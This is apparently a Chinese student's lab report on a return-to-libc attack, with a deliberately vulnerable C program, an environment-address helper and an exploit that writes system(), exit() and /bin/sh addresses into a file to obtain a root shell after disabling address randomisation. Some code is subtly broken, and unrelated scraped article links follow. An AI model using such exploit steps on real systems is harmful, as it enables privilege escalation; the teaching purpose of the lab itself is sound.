20145319 Return-to-libc攻击实验

一 实验内容

  • return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验
  • 缓冲区溢出攻击相关知识:
    • 原理:通过一段包含shellcode以及shellcode地址的长字符串注入到程序中,以shellcode地址来覆盖程序原有的返回地址,从而让目标程序来执行我们的shellcode,以此达到攻击目的
    • 保护措施:为了防止缓冲区溢出攻击,现在常用的保护措施有两种,一是设置堆栈不可执行,漏洞程序在执行注入到堆栈中的shellcode时就会发生程序崩溃。二是代码生成地址随机化,以此来使得攻击者无法准确得知shellcode的地址
  • return-to-libc攻击原理:
    • 为了避开堆栈不可执行的问题,return-to-libc攻击放弃了让漏洞程序执行堆栈中的shellcode,而是跳转到已经存在的代码(例如libc库中的system函数)来完成攻击

二 实验步骤

  • 安装32位c语言程序编译器,sudo apt-get lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev准备32位实验环境(本次实验在实验楼环境下完成)

  • 在实际中为了防范缓冲区溢出等攻击,通常会降低shell程序的权限,即无法保持root权限,为了绕过这个问题,我们使用另一个shell程序,zsh来代替/bin/bash

  • 上面说过,现在为了防止代码的注入,操作系统对于代码所分配的堆栈地址都是随机的,这也不利于我们找到之后我们需要找到的/bin/sh``system函数``exit函数的地址完成地址注入,所以我们要事先关闭掉地址随机化

  • 准备工作都完成之后,我们用以下三个程序来完成我们的攻击

  • 一段包含缓冲区溢出漏洞,由于生成root shell的漏洞代码myretlib.c

      /*myretlib.c*/
    
      #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> int bof(FILE *badfile){
    char buffer[12];
    fread(buffer,sizeof(char),40,badfile);
    return 1
    } int main(int argc, char **argv){
    FILE *badfile;
    badfile=fopen("badfile","r");
    printf("returned properly\n");
    fclose(badfile);
    return 1;
    }
  • 读取环境变量的程序getenvaddr.c

      /*getenvaddr.c*/
    
      #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> int main(int argc,char const *argv[]){
    char *ptr;
    if(argc < 3){
    printf("usage : %s <enviroment var> <target program name>\n",argv[0]);
    exit(0);
    }
    ptr=getenv(argv[1]);
    ptr+=(strlen(argv[0]-strlen(argv[2]))*2;
    printf("%s will be at %p\n",argv[1],ptr);
    return 0;
    }
  • 攻击用程序exploit.c将我们获得的/bin/shsystem函数exit函数的地址写进新的badfile中

      /*exploit.c*/
    
      #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> int main(int argc, char **argv){
    char buf[40];
    FILE *badfile;
    badfile=fopen(".//badfile","w");
    strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); *(long *) &buf[32] = 0x11111111; /*用以保存//bin//sh 的相关地址*/
    *(long *) &buf[24] = 0x22222222; /*用以保存system函数的相关地址*/
    *(long *) &buf[36] = 0x33333333; /*用以保存exit函数的相关地址*/ fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
    }
  • 在完成编译后,我们首先通过读取环境变量的程序getenvaddr.c来获得BIN_SH的地址

  • 而一般程序中,都会跳转到系统已经存于内存中的函数systemexit所以我们通过设置断点来跟踪获得相应的地址

  • strcpy函数处设置断点,继续运行

  • 将我们获得的三个地址填入代码exploit.c中,删除badfile,重新编译

  • 再次运行代码exploit时就会生成新的badfile

  • 此时运行我们的漏洞程序myretlib输入命令whoami即可见攻击成功

20145319 return-to-libc攻击实验的更多相关文章

  1. 20145307陈俊达《网络对抗》shellcode注入&return to libc

    20145307陈俊达<网络对抗>shellcode注入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将 ...

  2. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  3. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  4. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

  5. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  6. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  7. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  8. Mininet实验 基于Mininet实现BGP路径挟持攻击实验

    参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...

  9. Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

    缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...

随机推荐

  1. 部署软件RDMA的步骤

    date:  2018-08-28   19:46:56 参考原文原文:http://corasql.blog.51cto.com/5908329/1930455                    ...

  2. Egret3D初步学习笔记三 (角色使用)

    一 Unity中编辑角色 仍然使用unity4.7.1_Egret3D_Dll.unitypackage. 里面含有一个角色. 二 查看人物的动画 选中lingtong 属性面板里有个Animator ...

  3. OneThink视图模型进行组合查询!文档组合文档详情

    测试方法:twoCate: public function twoCate(){ $where = array( 'category_id'=>43 ); $list = D('TwoView' ...

  4. nginx配置文件内容详情及基本属性配置

    Nginx的配置文件nginx.conf配置详解如下: user nginx nginx ; Nginx用户及组:用户 组.window下不指定 worker_processes 8; 工作进程:数目 ...

  5. postgresql----继承表INHERITS PARENT TABLE

    使用INHERITS创建的新表会继承一个或多个父表,子表只会继承父表的表结构和NOT NULL,DEFAULT,CHECK三种约束,主键,外键和唯一键以及索引不会被继承,所以修改父表的结构(增删字段) ...

  6. 网站微图标,页标签,favicon.ico

    随便打开一个网页:比如 http://www.baidu.com/ 可以看到在浏览器的标签头上面显示了一个图标,也就是我们常说的favicon.ico, 由于这篇文章主要讨论favicon.ico,以 ...

  7. 05StuList.aspx(学生列表)

    05StuList.aspx  加载学生列表(前天代码) <%@ Page Language="C#" AutoEventWireup="true" Co ...

  8. Spring源码学习之IOC实现原理(二)-ApplicationContext

    一.Spring核心组件结构 总的来说Spring共有三个核心组件,分别为Core,Context,Bean.三大核心组件的协同工作主要表现在 :Bean是包装我们应用程序自定义对象Object的,O ...

  9. CentOS中为新用户添加sudo权限

    1.切换成root权限 su root 2.查看/etc/sudoers文件权限,如果只读权限,修改为可写权限 ls -l /etc/sudoers 3.如果是只读进行如下操作 chmod /etc/ ...

  10. Feature extraction using convolution

    http://ufldl.stanford.edu/wiki/index.php/Feature_extraction_using_convolution http://ufldl.stanford. ...